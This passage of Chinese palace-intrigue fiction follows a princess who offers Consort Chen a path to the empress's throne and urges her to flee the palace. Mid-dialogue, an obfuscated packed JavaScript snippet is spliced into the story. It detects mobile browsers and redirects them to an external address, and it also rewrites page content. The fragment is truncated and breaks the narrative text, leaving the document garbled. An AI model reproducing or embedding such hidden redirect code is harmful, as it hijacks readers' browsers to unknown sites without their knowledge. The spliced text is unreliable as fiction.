春来殿的稀客。我正坐在阿丘榻前,用浸了药香的丝帕轻拭她苍白的脸颊。殿门吱呀轻响,抬眼望去,只见陈美人立在门槛外,素手扶着雕花门框,迟迟不敢踏入这满是奇怪味道的寝殿。 我替阿丘摆好梨花,起身出室,轻轻合上门扉,将满室病气关在身后。 陈美人愁眉不展,见我递出的金帛时,眸中闪过一丝惶惑。她下意识后退半步,指尖绞着绣帕,不敢去接那卷明黄。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524701|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主这是何意?” 她避开我的视线,不看我递上的圣旨。 “你想做皇后吗?” 陈美人猛地抬头,惊愕的面容装进我的眸子。指尖颤抖,攥紧的白玉兰纹绣帕差点掉落。 “……我不懂公主何意。” 我冷着脸一字一句道:“我帮你。” 陈美人笑着离开几步之外。 “公主又在说笑了。皇后之位与帝王临幸,岂能相提并论。” 我上前抓住她的手臂,强迫她注视我。 “我能帮你治好惊悸,让陛下重回兰熏殿,当年悄无声息地离开东凉皇宫,如今又活着回来……就有办法让你坐上皇后之位。” 我看见她嘴唇几度轻起,半晌后弱下怒气道:“我不需要。” 她别过脸去,却掩不住颈侧跳动的血脉和微微发抖的肩膀。窗外飘进的雪花沾在她鬓边,像滴将落未落的泪。 我看着手中的金帛,随手丢进破败的池塘:“我也不需要。这皇后谁爱当谁当。” 陈美人突然拽住我丢弃圣旨的指尖,估计是想制止我,没赶得上。我回头见她咬着唇,方才的怒气早化作眼中水光。 “陛下立后之事,公主在葬礼前一无所知吗?陛下只字未提?” 隔着门板,我望向殿内阿丘的身影,说:“皇帝命人下毒害死柏夫人。皇后杀了阿丘,撂下话说下一个便是你……你看我,像是贪恋权柄、嗜血好杀之人么?” 陈美人倏然红了眼眶,猛地将我拥入怀中,心疼地抚摸。 “李皇后想杀我不是一天两天之事。不止是她……从前全赖陛下回护,她才未能得手。但是现在……公主要活下去,带着所有人夙愿,活下去。” 李皇后虽死,但后宫觊觎陈美人的不计其数。我收紧双臂,感受着她单薄身躯的颤抖。 “我保护你。我带你离开。” 陈美人不解,茫然抬首问道:“离开?去哪儿?” “去哪儿都行!离开皇宫,离开东凉。” 良久,怀中传来一声几不可闻的轻笑。 “多谢公主的好意,但我不会离开。” 我蹙眉反问:“也是为了家族仕途吗?” 陈美人点头道:“陈氏曾经是凉州最不起眼的氏族,因我封为美人,才跻身凉州首富。过惯了奢靡生活的人,怎甘重回粗茶淡饭?爹爹会恨我,娘亲会恨我,哥哥姐姐弟弟妹妹们都会恨我。我真的能逃离吗?我真的能翻出宫墙,做一个自由自在的人吗?我不能。” “可是留在这儿的话——” “这便是我们的命数。”她突然握住我的手,指尖冰凉如玉,“你若登上后位,不也能护我周全?” 我沉默地望着池中渐渐沉没的圣旨,水纹一圈圈荡开,倒映着灰蒙蒙的天光。我不能答应她,我不要登上那个位置,我不要一辈子关在这里。 陈美人忽然引着我向后院走去。荒废的庭院积雪皑皑,残破的秋千上落着几只麻雀,见人来便扑棱棱飞走了。 “我跟你讲个故事吧,关于她——曾经的赵国公主,为何离开东凉的故事。”